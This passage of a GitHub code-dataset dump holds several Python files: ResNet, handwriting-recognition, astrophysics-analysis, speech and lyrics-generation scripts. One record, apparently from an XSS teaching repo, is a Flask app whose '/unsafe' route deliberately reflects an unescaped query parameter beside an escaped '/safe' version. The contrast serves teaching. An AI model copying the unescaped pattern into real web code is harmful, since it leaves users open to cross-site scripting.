\"\"\"Forward pass of the ResNet model.\n        \n        Args:\n            X (torch.Tensor): A batch of input data with shape \n                (batch_size, num_channels, height, width).\n        \n        Returns:\n            torch.Tensor: A batch of model output with shape \n                (batch_size, num_outputs).\n        \"\"\"\n        X =  self.resnet(X)\n        X = X.view(X.shape[0], -1 )\n        X = self.Linear(X)\n        return X\n    \n","repo_name":"bhydemi/Planting-Seedling-Classification-Project","sub_path":"plant_seedling_modular_version/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"25068306764","text":"#Vulnerable Code\nfrom flask import Flask, request, escape\n\napp = Flask(__name__)\n\n@app.route('/unsafe')\ndef unsafe():\n    name = request.args.get('name')\n    return f'Hello {name}, Welcome to Hackmansec'\n\n@app.route('/safe')\ndef safe():\n    name = escape(request.args.get('name'))\n    return f'Hello {name}, Welcome to Hackmansec'\n\nif __name__ == '__main__':\n    app.run()\n\n","repo_name":"appsecmani/xss-challenges","sub_path":"xss.py","file_name":"xss.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31078912793","text":"import json\njson_file_path = './test.json'\njson_data = {}\nwith open(json_file_path, 'r') as json_file:\n    json_data = json.load(json_file)\n    \nfor i in range(2, 9):\n    print(i)\n\nprint(json_data)\njson_data['climing_list'] = []\n\njson_list = ['store_name', 'naver_category', 'address', 'naver_map_url', 'main_img_url', 'price_list', 'open_time', 'level', 'change_time']\n\nstore_name = 'test1'\nnaver_category = 'test2'\naddress = 'test3'\nnaver_map_url = 'test4'\nmain_img_url = 'test5'\nprice_list = 'test6'\nopen_time = 'test7'\nlevel = 'test8'\nchange_time = 'test9'\n\nvar_list = [store_name, naver_category, address, naver_map_url, main_img_url, price_list, open_time, level, change_time]\n\n\n# for i in range(len(json_list)):\n#     json_data['climing_list'].append({json_list[i]: var_list[i]})\n\nstore_name = '100'\nnaver_category = '100'\naddress = '100'\nnaver_map_url = '100'\nmain_img_url = '100'\nprice_list = '100'\nopen_time = '100'\nlevel = '100'\nchange_time = '100'\n\ncliming_info = {'store_name': store_name, 'naver_category': naver_category, 'address': address, 'naver_map_url': naver_map_url, 'main_img_url': main_img_url, 'price_list': price_list, 'open_time': open_time, 'level': level, 'change_time': change_time}\ncliming_info2 = {'store_name': '123', 'naver_category': 'naver_category', 'address': 'address', 'naver_map_url': 'naver_map_url', 'main_img_url': 'main_img_url', 'price_list': 'price_list', 'open_time': open_time, 'level': level, 'change_time': change_time}\n\njson_data['climing_list'].append(climing_info)\njson_data['climing_list'].append(climing_info2)\n\nwith open('test.json', 'w') as f:\n    json.dump(json_data, f, indent=4)","repo_name":"cowFarmer/with_wall_dev","sub_path":"center_list_crawling/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13889083626","text":"from __future__ import division\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport os, os.path\nimport pandas as pd\nimport csv\nimport pickle\n\ndef chaincode(gray):\n    count0 = 0\n    count1 = 0\n    count2 = 0\n    count3 = 0\n    count4 = 0\n    count5 = 0\n    count6 = 0\n    count7 = 0\n\n    img = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY)[1]\n    element = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3))\n    done = False\n\n    img =cv2.bitwise_not(img)\n    original = img\n    img = cv2.threshold(img, 127,255, cv2.THRESH_BINARY)[1]\n    ############## Discover the first point#################################\n    for i, row in enumerate(img):\n        for j, value in enumerate(row):\n            if value == 255:\n                start_point = (i, j)\n                #print(start_point, value)\n                break\n        else:\n            continue\n        break\n    ###################Chain code algorithm ##########################\n    directions = [0, 1, 2,\n                  7,    3,\n                  6, 5, 4]\n    dir2idx = dict(zip(directions, range(len(directions))))\n\n    change_j = [-1, 0, 1,  # x or columns\n                -1,    1,\n                -1, 0, 1]\n\n    change_i = [-1, -1, -1,  # y or rows\n                0,      0,\n                1, 1, 1]\n\n    border = []\n    #chain = []\n    chain = []\n    curr_point = start_point\n    for direction in directions:\n        idx = dir2idx[direction]\n        new_point = (start_point[0] + change_i[idx], start_point[1] + change_j[idx])\n        if img[new_point] != 0:  # if is ROI\n            border.append(new_point)\n            chain.append(direction)\n            curr_point = new_point\n            break\n    count = 0\n\n    while curr_point != start_point:\n        # figure direction to start search\n        b_direction = (direction + 5) % 8\n        dirs_1 = range(b_direction, 8)\n        dirs_2 = range(0, b_direction)\n        dirs = []\n        dirs.extend(dirs_1)\n        dirs.extend(dirs_2)\n        for direction in dirs:\n            idx = dir2idx[direction]\n            new_point = (curr_point[0] + change_i[idx], curr_point[1] + change_j[idx])\n            # print(\"new\", new_point)\n            try:\n                if img[new_point] != 0:  # if is ROI\n                    border.append(new_point)\n                    chain.append(direction)\n                    curr_point = new_point\n                    break\n            except:\n                continue\n\n        if count == 20000: break\n        count += 1\n\n    # Getting length of list\n    length = len(chain)\n#    print(chain)\n    i = 0\n\n    # Iterating using while loop\n    while i < length:\n  #      print(chain[i])\n        if (chain[i] == 0):\n            count0 = count0 + 1\n        if (chain[i] == 1):\n            count1 = count1 + 1\n        if (chain[i] == 2):\n            count2 = count2 + 1\n        if (chain[i] == 3):\n            count3 = count3 + 1\n        if (chain[i] == 4):\n            count4 = count4 + 1\n        if (chain[i] == 5):\n            count5 = count5 + 1\n        if (chain[i] == 6):\n            count6 = count6 + 1\n        if (chain[i] == 7):\n            count7 = count7 + 1\n        i += 1\n    sum = count0 + count1 + count2 + count3 + count4 + count5 + count6 + count7\n\n    Avg0 = round((count0 / sum) * 100, 2)\n    Avg1 = round((count1 / sum) * 100, 2)\n    Avg2 = round((count2 / sum) * 100, 2)\n    Avg3 = round((count3 / sum) * 100, 2)\n    Avg4 = round((count4 / sum) * 100, 2)\n    Avg5 = round((count5 / sum) * 100, 2)\n    Avg6 = round((count6 / sum) * 100, 2)\n    Avg7 = round((count7 / sum) * 100, 2)\n\n    chain_output = [ Avg0 , Avg1 , Avg2 , Avg3, Avg4, Avg5, Avg6, Avg7]\n    return chain_output\n\n    sum = count0 + count1 + count2 + count3 + count4 + count5 + count6 + count7\n    Sum_Avg = Avg0 + Avg1 + Avg2 + Avg3 + Avg4 + Avg5 + Avg6 + Avg7\n\n\ndef distance_profile(img):\n\n    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    (_, thresh) = cv2.threshold(gray, 170, 255, cv2.THRESH_BINARY)\n\n    height, width = thresh.shape[:2]\n#    print(height, width)\n    tb = list()\n    count1 = 0\n    count2 = 0\n    count3 = 0\n    count4 = 0\n    arr1 = []\n    arr2 = []\n    arr3 = []\n    arr4 = []\n\n   # print(\"left to right\")\n    for y in range(0, height):\n        for x in range(0, width):\n            cp = thresh[y, x]\n            if cp == 255:\n                count1 += 1\n            else:\n                break\n   \n        arr1.append(count1)\n        count1 = 0\n\n  #  print(\"right to left\")\n    for y in range(0, height):\n        for x in range(width - 1, 0, -1):\n            cp = thresh[y, x]\n            if cp == 255:\n                count2 += 1\n            else:\n                break\n        arr2.append(count2)\n        count2 = 0\n\n #   print(\"top to bottom\")\n    for x in range(0, width):\n        for y in range(0, height):\n            cp = thresh[y, x]\n            if cp == 255:\n                count3 += 1\n            else:\n                break\n        # print(count3)\n        arr3.append(count3)\n        count3 = 0\n #   print(arr3)\n\n#    print(\"bottom to top\")\n    for x in range(0, width):\n        for y in range(height - 1, 0, -1):\n            cp = thresh[y, x]\n            if cp == 255:\n                count4 += 1\n            else:\n                break\n        # print(count4)\n        arr4.append(count4)\n        count4 = 0\n#    print(arr4)\n\n    distance_output = [arr1, arr2, arr3, arr4]\n    #print(distance_output)\n    return distance_output\n    plt.subplot(332), plt.imshow(img)\n    plt.subplot(323), plt.plot(arr1), plt.title('left to right')\n    plt.subplot(324), plt.plot(arr2), plt.title('Right to left')\n    plt.subplot(325), plt.plot(arr3), plt.title('top to bottom')\n    plt.subplot(326), plt.plot(arr4), plt.title('bottom to top')\n\n    plt.show()\n\n\ndef density_features(img):\n    #(_, img) = cv2.threshold(gray, 170, 255, cv2.THRESH_BINARY)\n    countW = 0\n    countB = 0\n    ratio = 0\n    windowCount = 0\n    pixelCount = 0\n    resultArray = np.array([])\n\n    # window size\n    windowsize_rows = 127\n    windowsize_columns = 127\n    pixel = []\n    ratioA = []\n\n    for r in range(0, img.shape[0] - windowsize_rows +1 , windowsize_rows):\n        for c in range(0, img.shape[1] - windowsize_columns +1 , windowsize_columns):\n            window = img[r:r + windowsize_rows, c:c + windowsize_columns]\n            windowCount = windowCount + 1\n           # print(\"Zone:\", windowCount)\n            for i in range(window.shape[0]):\n                for j in range(window.shape[1]):\n                    if (window[i][j] == 0).all():\n                        countB = countB + 1\n                    if (window[i][j] == 255).all():\n                        countW = countW + 1\n                        ratio = countB / (128 * 128)\n                        ratio = str(round(ratio, 4))\n            pixel.append(countB)\n            ratioA.append(ratio)\n\n\n            countW = 0\n            countB = 0\n            ratio = 0\n            \n            # print(\"-----------------------Zone End------------------------\\n\")\n\n    n_white_pix = np.sum(img == 255)\n#    print(\"Total white pixels\", n_white_pix)\n    n_black_pix = np.sum(img == 0)\n    # print(\"Total black pixels\", n_black_pix)\n    # print(\"foreground pixel density of zones:\", ratioA, \"\\n\")\n\n    upperDivision = 0\n    lowerDivision = 0\n    leftDivision = 0\n    rightDivision = 0\n    verticalDiff = 0\n    horizontalDiff = 0\n    ratioA = list(map(float, ratioA))\n    # upper division total pixels\n    for u in range(0, 7):\n        upperDivision = round(upperDivision + ratioA[u], 4)\n#    print(\"upperDivision\", upperDivision)\n\n    # lower division total pixels\n    for l in range(8, 15):\n        lowerDivision = round(lowerDivision + ratioA[l], 4)\n #   print(\"lowerDivision\", lowerDivision)\n\n    # left division total density\n    leftDivision = round(\n        ratioA[0] + ratioA[1] + ratioA[4] + ratioA[5] + ratioA[8] + ratioA[9] + ratioA[12] + ratioA[13], 4)\n  #  print(\"leftDivision\", leftDivision)\n\n    # left division total denisty\n    rightDivision = round(\n        ratioA[2] + ratioA[3] + ratioA[6] + ratioA[7] + ratioA[10] + ratioA[11] + ratioA[14] + ratioA[15], 4)\n#    print(\"lowerDivision\", rightDivision, \"\\n\")\n\n    # Vertical density diffrence\n    verticalDiff = round(upperDivision - lowerDivision, 4)\n#    print(\"Vertical pixel diff:\", verticalDiff)\n\n    # Horizontal density diffrence\n    horizontalDiff = round(leftDivision - rightDivision, 4)\n#    print(\"Horizontal pixel diff:\", horizontalDiff, \"\\n\")\n\n    # get 8 zones\n    eightZones = []\n\n    zone1 = round(ratioA[0] + ratioA[1], 4)\n    eightZones.append(zone1)\n#    print(\"zone1:\", zone1)\n\n    zone2 = round(ratioA[2] + ratioA[3], 4)\n    eightZones.append(zone2)\n#    print(\"zone2:\", zone2)\n\n    zone3 = round(ratioA[4] + ratioA[5], 4)\n    eightZones.append(zone3)\n #   print(\"zone3:\", zone3)\n\n    zone4 = round(ratioA[6] + ratioA[7], 4)\n    eightZones.append(zone4)\n#    print(\"zone4:\", zone4)\n\n    zone5 = round(ratioA[8] + ratioA[9], 4)\n    eightZones.append(zone5)\n#    print(\"zone5:\", zone5)\n\n    zone6 = round(ratioA[10] + ratioA[11], 4)\n    eightZones.append(zone6)\n#    print(\"zone6:\", zone6)\n\n    zone7 = round(ratioA[12] + ratioA[13], 4)\n    eightZones.append(zone7)\n#    print(\"zone7:\", zone7)\n\n    zone8 = round(ratioA[14] + ratioA[15], 4)\n    eightZones.append(zone8)\n#    print(\"zone8:\", zone8, \"\\n\")\n\n    # add density features to vector\n    #print(ratioA)\n    resultArray = eightZones + ratioA\n    resultArray.append(verticalDiff)\n    resultArray.append(horizontalDiff)\n\n    return resultArray\n\ndef main():\n    # image path and valid extensions\n    imageDir = \"D:/FYP/dataset/Segmented_essay_2\"  # specify your path here\n    image_path_list = []\n    valid_image_extensions = [\".jpg\", \".jpeg\", \".png\", \".tif\", \".tiff\" , \".bmp\"]  # specify your valid extensions here\n    valid_image_extensions = [item.lower() for item in valid_image_extensions]\n\n    for file in os.listdir(imageDir):\n        extension = os.path.splitext(file)[1]\n        if extension.lower() not in valid_image_extensions:\n            continue\n        image_path_list.append(os.path.join(imageDir, file))\n\n    for imagePath in image_path_list:\n        image = cv2.imread(imagePath)\n        img = cv2.imread(imagePath)\n        if img is None:\n            print(\"Error loading: \" + imagePath)\n            # end this loop iteration and move on to next image\n            continue\n        elif img is not None:\n            cv2.imshow(imagePath, img)\n\n            cv2.destroyAllWindows()\n            #img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n            gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n        # wait time in milliseconds\n        # this is required to show the image\n        # 0 = wait indefinitely\n        # exit when escape key is pressed\n        key = cv2.waitKey(0)\n        if key == 27:  # escape\n            break\n\n        size = np.size(gray)\n        skel = np.zeros(gray.shape,np.uint8)\n        #ret,img = cv2.threshold(img,127,255,0)\n        element = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3))\n        done = False\n\n        height = width = 512\n        dim = (height, width)\n        img_new = cv2.resize(image, dim, interpolation=cv2.INTER_CUBIC)\n        (thresh, img_new) = cv2.threshold(img_new, 128, 255, cv2.THRESH_BINARY)\n\n        #method chaincode passing the image\n        chain_output = chaincode(gray)\n        #print(chain_output)\n        distance_output = distance_profile(img)\n\n        resultArray = density_features(img_new)\n        dis = []\n        # length = len(df)\n        # # print(length)\n        # for i in range(0, length):\n        #     # print(i)\n        arr = np.array(distance_output[0] + distance_output[1] + distance_output[2]+distance_output[3])\n        #arr = np.append(resultArray)\n        arr = np.append(arr, resultArray)\n        #print(arr)\n        arr = np.append(arr,chain_output[0])\n        arr = np.append(arr, chain_output[1])\n        arr = np.append(arr, chain_output[2])\n        arr = np.append(arr, chain_output[3])\n        arr = np.append(arr, chain_output[4])\n        arr = np.append(arr, chain_output[5])\n        arr = np.append(arr, chain_output[6])\n        arr = np.append(arr, chain_output[7])\n        dis.append(arr)\n    \n        filename = 'NEW_DATA_FINAL_ALL_4.sav'\n        loaded_model = pickle.load(open(filename, 'rb'))\n\n        y_pred = loaded_model.predict(dis)\n        print(y_pred)\n\n\nif __name__=='__main__':\n    main()","repo_name":"BD-MF/Image-Processing-and-ML-approach-to-Sinhala-Handwritten-Character-Recognition-","sub_path":"Recognition_Module.py","file_name":"Recognition_Module.py","file_ext":"py","file_size_in_byte":12382,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"33786776993","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport sys\nimport logging\nimport numpy as np\nimport argparse as ap\n\nfrom glob import glob\nfrom os import path as p\nfrom LibThese import Data as d\nfrom InitialCond import Gadget as g\n\n\nclass Analyse(object):\n    def __init__(self, hdf, gadget, RSelect=10., substract=True):\n        # We are getting the information about the density center:\n        hdf5 = d.Data(hdf)\n\n        p_cg = hdf5.get(p.basename(gadget), \"timeparam\", \"x\", \"y\", \"z\")\n        v_cg = hdf5.get(p.basename(gadget), \"timeparam\", \"vx\", \"vy\", \"vz\")\n\n        self._time = hdf5.get(p.basename(gadget), \"timeparam\", \"time\")[0, 0]\n\n        fof = hdf5.get(p.basename(gadget), \"ids\")[:, 0]\n\n        # We read the Gadget file:\n        _name = gadget\n        gadget = g.Gadget(gadget)\n        gadget._read_format1(1)\n        # gadget.Part.SortById()\n\n        logging.debug(\"Removing %g from %s\" % (gadget.BoxSize / 2., _name))\n\n        pos = gadget.Part.NumpyPositions.copy()  - np.array([gadget.BoxSize/2.]*3)\n        vel = gadget.Part.NumpyVelocities.copy()\n        ide = gadget.Part.NumpyIdentities\n\n        tmp_r = np.sum(pos**2, axis=1)\n        id_p_sort1 = np.argsort(tmp_r)\n        id_p_sort1 = id_p_sort1[ tmp_r[id_p_sort1] <= RSelect ** 2. ]\n\n        pos = pos[id_p_sort1]\n        vel = vel[id_p_sort1]\n        ide = ide[id_p_sort1]\n\n        id_p_sort1 = np.argsort(ide)\n        id_p_sort1 = id_p_sort1[fof]\n\n        pos = pos[id_p_sort1]\n        vel = vel[id_p_sort1]\n        ide = ide[id_p_sort1]\n\n        if substract:\n            # We are correcting our center of position and velocities:\n            self._p = pos - p_cg\n            self._v = vel - v_cg\n            # self._p = gadget.Part.NumpyPositions.copy()[fof, :]  - np.array([gadget.BoxSize/2.]*3) - p_cg\n            # self._v = gadget.Part.NumpyVelocities.copy()[fof, :] - v_cg\n        else:\n            self._p = pos\n            self._v = vel\n            # self._p = gadget.Part.NumpyPositions.copy()[fof, :] - np.array([gadget.BoxSize/2.]*3)\n            # self._v = gadget.Part.NumpyVelocities.copy()[fof, :]\n\n        gadget.Part.Release()\n        del gadget, hdf5\n\n    def get_r2(self):\n        return np.sum(self.pos[:]**2, axis=1)\n\n    def get_v2(self):\n        return np.sum(self.vel[:]**2, axis=1)\n\n    def get_vr(self):\n        return np.sum(self.pos * self.vel, axis=1) / np.sqrt( self.get_r2() )\n\n    @property\n    def time(self):\n        return self._time\n\n    @property\n    def pos(self):\n        return self._p\n    @pos.setter\n    def pos(self, val):\n        self._p = val\n\n    @property\n    def vel(self):\n        return self._v\n    @vel.setter\n    def vel(self, val):\n        self._v = val\n\n\nclass Object(object):\n    def __init__(self, file, center, time=None, ids=None, substract=True):\n        p_cg = center[:3]\n        v_cg = center[3:]\n\n        # We read the Gadget file:\n        gadget = g.Gadget(file)\n        gadget._read_format1(1)\n\n        if time is not None:\n            self._time = time\n        else:\n            self._time = gadget.time\n\n        if substract:\n            # We are correcting our center of position and velocities:\n            self._p = gadget.Part.NumpyPositions.copy()[ids, :]  - p_cg\n            self._v = gadget.Part.NumpyVelocities.copy()[ids, :] - v_cg\n        else:\n            self._p = gadget.Part.NumpyPositions.copy()[ids, :]\n            self._v = gadget.Part.NumpyVelocities.copy()[ids, :]\n\n        gadget.Part.Release()\n        del gadget\n\n    def get_r2(self):\n        return np.sum(self.pos[:]**2, axis=1)\n\n    def get_v2(self):\n        return np.sum(self.vel[:]**2, axis=1)\n\n    def get_vr(self):\n        return np.sum(self.pos * self.vel, axis=1) / np.sqrt( self.get_r2() )\n\n    @property\n    def time(self):\n        return self._time\n\n    @property\n    def pos(self):\n        return self._p\n    @pos.setter\n    def pos(self, val):\n        self._p = val\n\n    @property\n    def vel(self):\n        return self._v\n    @vel.setter\n    def vel(self, val):\n        self._v = val\n\n\ndef CreateArgument():\n    parser = ap.ArgumentParser(\n        formatter_class=ap.ArgumentDefaultsHelpFormatter,\n    )\n\n    parser.add_argument(\n            \"Gadget\",\n            nargs='+',\n            help=\"Gadget files to analyze.\",\n    )\n\n    parser.add_argument(\n            \"--hdf5\",\n            help=\"HDF5 files to use to get needed information.\",\n            default=glob(\"Data/*.hdf5\")[-1],\n    )\n\n    parser.add_argument(\n            \"-o\",\n            \"--out\",\n            type=ap.FileType(\"w\"),\n            default=sys.stdout,\n    )\n\n    parser.add_argument(\n            \"--RSelect\",\n            default=10.,\n            type=float,\n            help=\"Maximal radius to consider.\"\n    )\n\n    parser.add_argument(\n            \"--not-remove-dc\",\n            action=\"store_false\",\n            help=\"Substract density center information.\"\n    )\n\n    parser.add_argument(\n            \"--log\",\n            type=str,\n            default=\"INFO\",\n            help=\"Log level.\"\n    )\n\n    parser.add_argument(\n            \"--save-txt\",\n            action=\"store_true\",\n            help=\"Saving in files all working particles.\"\n    )\n\n    args = parser.parse_args()\n    args.log = getattr(logging, args.log.upper())\n\n    return args\n\ndef GatherData(hdf5_file, *files):\n    hdf5 = d.Data(hdf5_file)\n    data = dict()\n\n    for f in files:\n        name = p.basename(f)\n\n        data[name] = (\n            hdf5.get(name, \"timeparam\", \"x\", \"y\", \"z\", \"vx\", \"vy\", \"vz\")[0],\n            hdf5.get(name, \"timeparam\", \"time\")[0, 0],\n            hdf5.get(name, \"ids\")[:, 0],\n            f,\n        )\n\n    return data\n\ndef CalculateAnisotropy(center, time, ids, data, substract=True):\n    calc = Object(data, center, time, ids, substract)\n\n    v_r2 = calc.get_vr() ** 2\n    v_t2 = calc.get_v2() - v_r2\n\n    res = (calc.time, 1 - v_t2.sum() / (2.*v_r2.sum()))\n\n    del calc\n    return res\n\n\nif __name__ == '__main__':\n    args = CreateArgument()\n    logging.basicConfig(level=logging.DEBUG)\n\n    centers = GatherData(args.hdf5, *args.Gadget)\n\n    for f in args.Gadget:\n        calc = Analyse(args.hdf5, f, RSelect=args.RSelect) #, substract=args.not_remove_dc)\n        v_r2 = calc.get_vr() ** 2\n        v_t2 = calc.get_v2() - v_r2\n\n        logging.info(\"Doing \" + f)\n        logging.debug(\"{0}\".format(calc.pos.shape))\n        if args.save_txt:\n            np.savetxt(\"/tmp/\" + p.basename(f) + \"2.pos\", calc.pos)\n            np.savetxt(\"/tmp/\" + p.basename(f) + \"2.vel\", calc.vel)\n\n        print(\n                calc.time,\n                1 - v_t2.mean() / (2.*v_r2.mean()),\n                # *CalculateAnisotropy(*centers[p.basename(f)], substract=args.not_remove_dc),\n                file=args.out\n        )\n        del calc\n\n","repo_name":"ElricleNecro/LibThese","sub_path":"scripts/verif_python.py","file_name":"verif_python.py","file_ext":"py","file_size_in_byte":6721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8472655825","text":"import pyttsx3\nimport speech_recognition as sr\nengine = pyttsx3.init('sapi5')\nvoices = engine.getProperty('voices')\n# print(voices)\nengine.setProperty('voice', voices[0].id)\n\ndef speak(audio):\n    engine.say(audio)\n    engine.runAndWait()\n\n# def wishMe():\n#     speak(\"Hello , Sir\")\n\n# wishMe\ndef takeCommand():\n    # It takes microphone input from the user and return string output\n    r= sr.Recognizer()\n    with sr.Microphone() as source:\n        print(\"Listening....\")\n        r.pause_threshold = 1\n        audio = r.listen(source)\n\nt= takeCommand()\nprint(audio())","repo_name":"rajan675/Python","sub_path":"Jarvis_Python_project/speech_to_text.py","file_name":"speech_to_text.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72793830132","text":"import os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport spacy\nimport pretty_midi\nimport json\nimport tensorflow as tf\nfrom keras.layers import LSTM, Dense, concatenate, Input, Embedding, Dropout\nfrom keras.models import Model, load_model\nfrom keras.losses import CategoricalCrossentropy\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers.core import Reshape\nfrom numpy.random import choice\n\n\ndef get_midis_and_texts(instances, dataset_dir, instrument_indexes, set):\n    \"\"\"\n    Extract the midis and texts from the train or test set files\n    :param instances: dataframe with the song names and lyrics\n    :param dataset_dir: directory of the dataset\n    :param instrument_indexes: dict to be updated during this function as new instruments are encountered\n    :param set: string = \"train\" or \"test\" that indicates what set to extract\n    :return: [raw midis in set, lyrics for all songs in set]\n    \"\"\"\n    cache_path = '%s/texts_%s.json' % (cache_dir, set)\n    if not os.path.exists(cache_path):  # if cache doesn't exist\n        midis = []\n        texts = []\n        failed_num = 0\n        for index, row in instances.iterrows():\n            artist = row[0].strip().replace(' ', '_')\n            song_name = row[1].strip().replace(' ', '_')\n            filename = '%s_-_%s.mid' % (artist, song_name)\n            failed_text = '\\t'\n            try:\n                midi = pretty_midi.PrettyMIDI('%s/midi_files/%s' % (dataset_dir, filename))\n                for instrument in midi.instruments:\n                    instrument_id = instrument.program\n                    if instrument_id not in instrument_indexes:\n                        instrument_indexes[instrument_id] = len(instrument_indexes)\n                midis.append(midi)\n                texts.append(row[2])\n            except:  # if midi is not readable\n                failed_text = ' FAILED'\n                failed_num += 1\n            print('%d/%d%s\\t%s' % (index + 1, len(instances), failed_text, filename))\n        print('FAILED = %d/%d' % (failed_num, len(instances)))\n        with open(cache_path, 'w') as file:\n            json.dump(texts, file)\n    else:\n        with open(cache_path, 'r') as file:\n            texts = json.load(file)\n        midis = None\n    return midis, texts\n\n\ndef get_vocabulary_and_word_embeddings(texts_train, texts_test, nlp):\n    \"\"\"\n    Process the texts to get the word embeddings and vocabulary of the whole dataset\n    :param texts_train: lyrics of the train set\n    :param texts_test: lyrics of the test set\n    :param nlp: the Spacy model\n    :return: [dict where word->index, np.array where index->word embedding, np.array where index->word]\n    \"\"\"\n    if not os.path.exists('%s/word_indexes.json' % cache_dir):  # if cache doesn't exist\n        word_indexes = {}\n        vocabulary, word_embeddings = [], []\n        for texts in [texts_train, texts_test]:\n            for text in texts:\n                tokens = nlp(text.strip())\n                for token in tokens:\n                    word = token.text\n                    if word not in vocabulary:\n                        word_indexes[word] = len(word_indexes)\n                        vocabulary.append(word)\n                        word_embeddings.append(token.vector.tolist())\n        for file_name in ['word_indexes', 'word_embeddings', 'vocabulary']:\n            with open('%s/%s.json' % (cache_dir, file_name), 'w') as file:\n                json.dump(eval(file_name), file)\n    else:\n        structures = []\n        for file_name in ['word_indexes', 'word_embeddings', 'vocabulary']:\n            with open('%s/%s.json' % (cache_dir, file_name), 'r') as file:\n                structures.append(json.load(file))\n        word_indexes, word_embeddings, vocabulary = structures\n    return word_indexes, np.array(word_embeddings), np.array(vocabulary)\n\n\ndef get_midi_embeddings():\n    \"\"\"\n    Extract the embedding vectors of the whole and slices midis\n    :return: [np.array index->midi embedding, np.array midi_sliced_embeddings index->slice embedding,\n                \"list where each entry i is a list with the slice indexes for midi i in train set\", \"same for test set\"]\n    \"\"\"\n    if not os.path.exists('%s/midi_embeddings.json' % cache_dir):  # if cache doesn't exist\n        print('train:')\n        midi_vectors_train, midi_vectors_sliced_train, slice_indexes_train = get_midi_vectors(\n            midis_train, instrument_indexes, texts_train)\n        print('test:')\n        midi_vectors_test, midi_vectors_sliced_test, slice_indexes_test = get_midi_vectors(\n            midis_test, instrument_indexes, texts_test, init_slice_index=slice_indexes_train[-1][-1] + 1)\n        midi_embeddings = midi_vectors_train + midi_vectors_test\n        midi_sliced_embeddings = midi_vectors_sliced_train + midi_vectors_sliced_test\n\n        for file_name in ['midi_embeddings', 'midi_sliced_embeddings', 'slice_indexes_train', 'slice_indexes_test']:\n            with open('%s/%s.json' % (cache_dir, file_name), 'w') as file:\n                json.dump(eval(file_name), file)\n    else:\n        structures = []\n        for file_name in ['midi_embeddings', 'midi_sliced_embeddings', 'slice_indexes_train', 'slice_indexes_test']:\n            with open('%s/%s.json' % (cache_dir, file_name), 'r') as file:\n                structures.append(json.load(file))\n        midi_embeddings, midi_sliced_embeddings, slice_indexes_train, slice_indexes_test = structures\n    return np.array(midi_embeddings), np.array(midi_sliced_embeddings), slice_indexes_train, slice_indexes_test\n\n\ndef get_midi_vectors(midis, instrument_indexes, texts, init_slice_index=0):\n    \"\"\"\n    Extract the embedding vectors of the whole and slices midis in the train or test set\n    :param midis: of train or test set\n    :param instrument_indexes: computed by the method \"get_midis_and_texts\"\n    :param texts: lyrics of the train or test set\n    :param init_slice_index: initial slice index – only if sending test set will not be zero\n    :return: [np.array of midi embeddings, np.array of midi slice embedding, slice_indexes as in get_midi_embeddings]\n    \"\"\"\n    num_phrases_by_song = [text.count('&') for text in texts]\n    midi_vectors = []\n    midi_vectors_sliced = []\n    slice_indexes = []  # index of midi slice embeddings\n    for i, midi in enumerate(midis):\n        print('%d/%d' % (i + 1, len(midis)))\n        midi_tempo = midi.estimate_tempo()\n        midi_chroma = midi.get_chroma()\n        instruments_presence = get_slice_instruments_presence(midi, 1, midi.get_end_time(), instrument_indexes)[0]\n        total_velocity = sum(sum(midi_chroma))\n        midi_semitones = [sum(semitone) / total_velocity for semitone in midi_chroma]\n        midi_vector = [midi_tempo] + instruments_presence + midi_semitones\n        midi_vectors.append(midi_vector)\n        for midi_vector_slice in get_midi_vector_slices(midi, num_phrases_by_song[i], instrument_indexes):\n            midi_vectors_sliced.append(midi_vector_slice)\n        if i == 0:\n            slice_indexes.append(list(range(num_phrases_by_song[i] + init_slice_index)))\n        else:\n            next_index = slice_indexes[-1][-1] + 1\n            slice_indexes.append(list(range(next_index, next_index + num_phrases_by_song[i])))\n    return midi_vectors, midi_vectors_sliced, slice_indexes\n\n\ndef get_midi_vector_slices(midi, num_slices, instrument_indexes):\n    \"\"\"\n    Extract slice embedding vectors for a midi file\n    :param midi: raw midi to be sliced\n    :param num_slices: number of equal length slices to split the midi into\n    :param instrument_indexes: computed by the method \"get_midis_and_texts\"\n    :return: np.array with embeddings of the midi slices\n    \"\"\"\n    midi_end_time = midi.get_end_time()\n    slice_len = midi_end_time / num_slices\n    slice_starts = [i * slice_len for i in range(num_slices)]\n    slice_ends = slice_starts[1:] + [midi_end_time]\n\n    slice_tempos = get_slice_tempos(midi, slice_starts, slice_ends, midi_end_time)\n    slice_semitones = get_slice_semitones(midi, num_slices)\n    slice_instruments_presence = get_slice_instruments_presence(midi, num_slices, midi_end_time, instrument_indexes)\n\n    midi_vector_slices = []\n    for i in range(num_slices):\n        midi_vector_slice = [slice_tempos[i]] + slice_instruments_presence[i] + slice_semitones[i]\n        midi_vector_slices.append(midi_vector_slice)\n    return midi_vector_slices\n\n\ndef get_slice_tempos(midi, slice_starts, slice_ends, midi_end_time):\n    \"\"\"\n    Compute average tempo in each slice, weighted by the amount of time each tempo occurs in the slice\n    :param midi: to slice\n    :param slice_starts: start times of slices\n    :param slice_ends: end times of slices\n    :param midi_end_time: time where midi ends\n    :return: weighted average of tempos in each slice\n    \"\"\"\n    tempo_starts, tempos = midi.get_tempo_changes()\n    tempo_starts, tempos = list(tempo_starts), list(tempos)\n    tempo_ends = tempo_starts[1:] 